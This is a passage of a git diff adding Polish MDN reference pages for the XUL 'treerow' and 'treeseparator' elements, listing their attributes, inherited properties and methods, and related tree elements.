+</span></div> <p>Pojedynczy wiersz w <code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code>. Powinien być umieszczony wewnątrz elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code>. Potomek <code>treerow</code> powinny być elementy <code><a href="/pl/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code>. Jeśli potomek wierszy są konieczne, powinny być umieszczone w elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code> wewnątrz rodzica <code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code>.
+</p><p>Dodatkowe informacji są dostępne w <a href="pl/Kurs_XUL/Drzewa">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-properties">properties</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-properties">
+
+<dl>
+ <dt>
+ <code id="a-properties"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/properties">properties</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ lista własności nazwy oddzielona separatorem</i>
+ </dd>
+ <dd>
+ Ustawia własności elementu, który stosujemy do stylu elementu.</dd>
+</dl>
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt>Elementy </dt><dd> <a href="pl/XUL/tree">tree</a>, <a href="pl/XUL/treecols">treecols</a>, <a href="pl/XUL/treecol">treecol</a>, <a href="pl/XUL/treechildren">treechildren</a>, <a href="pl/XUL/treeitem">treeitem</a>, <a href="pl/XUL/treecell">treecell</a> i <a href="pl/XUL/treeseparator">treeseparator</a>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/treeseparator/index.html b/files/pl/mozilla/tech/xul/treeseparator/index.html
new file mode 100644
index 0000000000..8c30ebe9c1
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/treeseparator/index.html
@@ -0,0 +1,114 @@
+---
+title: treeseparator
+slug: Mozilla/Tech/XUL/treeseparator
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/treeseparator
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Stosowany do umieszczenia separatora wiersza w <code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-properties">properties</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzeny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-properties">
+
+<dl>
+ <dt>
+ <code id="a-properties"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/properties">properties</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ lista własności nazwy oddzielona separatorem</i>
+ </dd>
+ <dd>
+ Ustawia własności elementu, który stosujemy do stylu elementu.</dd>
+</dl>
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
